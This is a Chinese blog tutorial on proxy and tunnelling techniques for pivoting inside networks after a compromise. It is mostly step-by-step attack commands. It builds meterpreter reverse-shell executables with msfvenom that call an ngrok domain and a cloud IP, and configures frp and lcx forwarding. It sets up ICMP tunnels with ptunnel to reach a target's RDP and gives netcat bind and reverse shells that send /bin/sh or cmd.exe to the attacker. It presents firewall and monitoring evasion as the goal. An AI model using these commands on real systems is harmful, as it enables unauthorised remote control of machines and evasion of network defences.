内网渗透-必须掌握的代理与隧道技术解答


0x00 内网渗透为什么使用代理与隧道技术

简单的来讲,当拿到某网络主机的权限,发现无法将流量或者权限发送出来,对渗透造成了很大的影响,所以内网渗透必须需要了解到两个技术知识,代理与隧道技术。

1)代理技术解决的问题:代理简单来讲解决网络之间的通信问题,如内网与外网之间或者两者自己之间的通信,两个不同内网的通信就必须借助到代理,否则无法通讯。

2)隧道技术解决的问题:简单来讲就是解决流量无法发送,隧道技术多用来绕过一些安全设备的监控,如防火墙过滤问题,网络连接通讯问题,数据回链封装问题,对我们发送的流量进行了拦截,这个时候需要接触隧道技术绕过拦截,隧道技术就是使用不同的协议把走不通的路走通。走不同的协议技术建立通讯,可以说是其中也包括了一些代理的技术。

0x01 代理技术-Ngrok穿透双内网

代理思路:将两台不同内网主机,上线其中一台包含网络的受害机,payload设置其将流量转发至代理,在使用攻击机接受代理流量即可,测试ngrok不太稳定,建议搭建Frp代理,

代理参考网站:https://www.ngrok.cc/

客户端下载对应的软件:

配置代理:

后门上线监听:msfvenom -p windows/meterpreter/reverse_http lhost=xxxx.free.idcfengye.com lport=80 -f exe -o test.exe

开启代理:

上线监听即可:

代理流量:

Frp搭建参考:
自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们
1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)
服务器修改配置文件 frps.ini:
[common]
bind_port = 6677
启动服务端:
./frps -c ./frps.ini
2.控制端-下载-解压-修改-启动
控制端修改配置文件 frpc.ini:
[common]
server_addr = 你的云主机 ip
server_port = 6677 #frpc 工作端口,必须和上面 frps 保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的 5555
remote_port = 6000 #服务端用 6000 端口转发给本机
启动客户端:
./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211 lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
3.靶机运行 frp 即可

0x02 隧道技术学习

隧道技术使用在不同的网络层进行,大体总结了以下三种:
网络层:IPV6隧道,ICMP隧道
传输层:TCP隧道,UDP隧道,常规的端口转发
应用层:SSH隧道,HTTP/S隧道,DNS隧道

需要注意的是,使用某种隧道之前,需要检查环境本身是否支持这种协议的使用,才能去使用响应的隧道传输

连通性检测:

  1. TCP 协议 用“瑞士军刀”——netcat 执行 nc 命令:nc <端口>
  2. HTTP 协议 用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的 话,就会输出相应的端口信息
  3. ICMP 协议 用“ping”命令,执行 ping <IP 地址/域名>
  4. DNS 协议 检测 DNS 连通性常用的命令是“nslookup”和“dig” nslookup 是 windows 自带的 DNS 探测命令 dig 是 linux 系统自带的 DNS 探测命令

案例1)网络层ICMP隧道:
环境:kali(黑客)-pc1-pc2(pc1上面存在两张网卡,可与pc2相同也可以与kali相通)

隧道工具介绍: pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp ##表示需要监听的本地 tcp 端口
-da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)
-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ##设置连接的密码
连接前使用ping命令检测是否存在icmp协议

pc1:./ptunnel -x xiaodi
Hacker kali:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi 
#转发的 3389请求数据给本地 1080
Hacker kali:rdesktop 127.0.0.1 1080

工具学习连接:
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)

案例2)传输层端口转发隧道:
工具使用:
windows: lcx 学习链接:https://github.com/UndefinedIdentifier/LCX
linux:portmap 学习链接:github

lcx转发流程:
1.lcx -slave 攻击 IP 3131 127.0.0.1 3389 //将本地 3389 给攻击 IP 的 3333
2.lcx -listen 3333 4444 //监听 3333 转发至 4444
3.kali连接4444端口等于连接第一台的3389端口

案例3)传输层转发隧道 Netcat 使用
(1):nc的正向连接与反向连接
正向:攻击机主动连接受害机

受害机发送出端口以及权限:

nc -ldp 1234 -e /bin/sh //linux版本
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows版本

攻击机主动连接:
nc 192.168.213.132 1234

反向:受害机连接攻击机

攻击机接收端口:nc -lvp 1234

受害机发送出权限:
nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe

(2)反向配合端口转发:

pc1:Lcx.exe -listen 2222 3333   #将端口2222转发到3333
pc2:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe  #将权限发送给IP的2222
kali 攻击机:nc -v 192.168.76.143 3333 #监听3333就等于监听了pc2发送出来的权限

(3)相关 netcat 主要功能测试

指纹服务:nc -nv 192.168.213.132
端口扫描:nc -v -z 192.168.213.132 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt-q 1
反弹 Shell:见上

提供参考学习,多找百度咨询问题/狗头

交流学习:
博客:http://www.kxsy.work
CSND社区:告白热


文章作者: 告白
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 告白 !
  目录